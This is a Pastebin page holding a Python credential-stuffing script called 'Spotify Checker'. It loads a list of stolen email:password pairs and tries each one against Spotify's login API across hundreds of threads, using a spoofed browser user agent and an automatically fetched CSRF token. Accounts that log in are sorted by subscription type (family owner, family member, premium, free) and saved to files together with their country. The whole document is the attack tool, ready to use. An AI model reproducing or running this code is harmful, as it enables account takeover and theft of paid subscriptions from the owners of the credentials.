Advertisement
Eric_Pedra

Spotify

Aug 7th, 2019
179,971
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.82 KB | None | 0 0
  1. #!/usr/bin/python3
  2. #Recoder
  3. #install requests,colorama
  4. import requests
  5. from colorama import init, Fore
  6. from threading import Threa, active_count
  7. from fake_useragent import UserAgent
  8. from ctypes import windll, kernel32, SetConsoleTitleW
  9. import os
  10. import time
  11.  
  12. requests.packages.urllib3.disable_warnings()
  13. init(convert=True)
  14. bersih = lambda: os.system('cls')
  15.  
  16. global emails
  17. global passwords
  18. emails = []
  19. passwords = []
  20. num = 0
  21. family_owners = 0
  22. family_members = 0
  23. premium = 0
  24. free = 0
  25. invalid = 0
  26.  
  27. text = ('''
  28. SPOTIFY CHECKER DETAIL (INFO)
  29. ''')
  30.  
  31. def logo():
  32.         global family_owners
  33.         global family_members
  34.         global premium
  35.         global free
  36.         bersih()
  37.         print(Fore.CYAN + text)
  38.         #print('------------------------------------------------------------------------------------------------------------------------')
  39.         print(Fore.CYAN +  '                                    Checked:         ' + str(family_owners + family_members + premium + free + invalid) + '/' + str(len(emails)))
  40.         print(Fore.CYAN +  '                                    ' + Fore.GREEN + 'Family Owners:   ' + str(family_owners))
  41.         print(Fore.CYAN + '                                    ' + Fore.YELLOW + 'Family Members:  ' + str(family_members))
  42.         print(Fore.CYAN + '                                    ' + Fore.YELLOW + 'Premium:         ' + str(premium))
  43.         print(Fore.CYAN +    '                                    ' + Fore.RED + 'Free:            ' + str(free))
  44.         #print(Fore.CYAN + '                                   |Invalid:         ' + str(invalid))
  45.         #print(Fore.CYAN +'------------------------------------------------------------------------------------------------------------------------')
  46.         time.sleep(3)
  47.         Thread(target=logo, args=(),).start()
  48.  
  49. #LETEK EMAIL DAN PASSWORD
  50. def letak():
  51.     ok = str(input(('[?]Masukkan Combo: ')))
  52.     with open(ok,'r', encoding='utf8') as f:
  53.         for x in f.readlines():
  54.             emails.append(x.split(":")[0].replace('\n','')) # tergantung empas(email:password) : atau |
  55.             passwords.append(x.split(":")[1].replace("\n",''))
  56.  
  57.  
  58. # PENYIMPANAN
  59. def family_mem_save(email,password,country):
  60.     with open('family_member.txt', 'a', encoding='utf8') as f:
  61.         f.write(email + ':' + password + ' - ' + country + '\n')
  62.  
  63. def family_owner_save(email,password,country):
  64.     with open('family_owner.txt', 'a', encoding='utf8') as f:
  65.         f.write(email + ':' + password + ' - ' + country + '\n')
  66.  
  67. def premium_save(email,password,country):
  68.     with open('premium.txt', 'a', encoding='utf8') as f:
  69.         f.write(email + ':' + password + ' - ' + country + '\n')
  70.  
  71. def save_free(email,password,country):
  72.     with open('free.txt','a', encoding='utf8') as f:
  73.         f.write(email + ':' + password + ' - ' + country + '\n')
  74.  
  75. def check(email,password):        
  76.     global num
  77.     global invalid
  78.     global family_owners
  79.     global family_members
  80.     global premium
  81.     global free
  82.     with requests.Session() as (c):
  83.         try:
  84.             url = 'https://accounts.spotify.com/en/login?continue=https:%2F%2Fwww.spotify.com%2Fint%2Faccount%2Foverview%2F'
  85.             my_fake_s = UserAgent()
  86.             headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8','User-Agent': my_fake_s.chrome}
  87.             page = c.get(url, headers=headers)
  88.             CSRF = page.cookies['csrf_token'] #TOKEN AUTO FRESH(SEGAR)
  89.             headers = {'Accept': '*/*','User-Agent': my_fake_s.chrome ,'Referer': 'https://accounts.spotify.com/en/login/?continue=https:%2F%2Fwww.spotify.com%2Fus%2Fgooglehome%2Fregister%2F&_locale=en-US'}
  90.             url = 'https://accounts.spotify.com/api/login'
  91.             login_data = {'remember': 'true', 'username': email, 'password': password, 'csrf_token': CSRF}
  92.             cookies = dict(__bon='MHwwfC0xNDAxNTMwNDkzfC01ODg2NDI4MDcwNnwxfDF8MXwx')
  93.             login = c.post(url, headers=headers, data=login_data, cookies=cookies)
  94.             if '{"displayName":"' in login.text:
  95.                 url = 'https://www.spotify.com/us/account/overview/'
  96.                 capture = c.get(url, headers=headers)
  97.                 for line in capture.iter_lines():
  98.                     if 'userCountry' in line.decode('utf-8'):
  99.                         country = line.decode('utf-8').replace('\'userCountry\': ','').strip().replace('\'','').replace('\'','').upper()
  100.                 url = 'https://www.spotify.com/ca-en/account/subscription/change/'
  101.                 capture = c.get(url,headers=headers)
  102.                 if 'You\'re a member of a family plan.' in capture.text:
  103.                     family_mem_save(email,password,country)
  104.                     family_members += 1
  105.                 elif '>Remove family</a>' in capture.text:
  106.                     family_owner_save(email,password,country)
  107.                     family_owners += 1
  108.                 elif '\"plan\":{\"name\":\"Spotify Free\"' in capture.text:
  109.                     save_free(email,password,country)
  110.                     free += 1
  111.                 elif '\"plan\":{\"name\":\"Spotify Premium\"':
  112.                     premium_save(email,password,country)
  113.                     premium += 1
  114.                 windll.kernel32.SetConsoleTitleW("Spotify Checker | Developed by Eric Pedra ")
  115.                 #safe_print(Fore.GREEN + email + ':' + password + ' - ' + country)
  116.             else:
  117.                 windll.kernel32.SetConsoleTitleW("Spotify Checker | Developed by Eric Pedra ")
  118.                 invalid += 1
  119.                 #safe_print(Fore.RED + email + ':' + password)
  120.         except:
  121.             pass
  122.  
  123. letak()
  124. logo()
  125.  
  126. while True:
  127.     if active_count() < 400:
  128.         try:
  129.             Thread(target=check, args=(emails[num],passwords[num],)).start()
  130.             num += 1
  131.         except:
  132.             pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement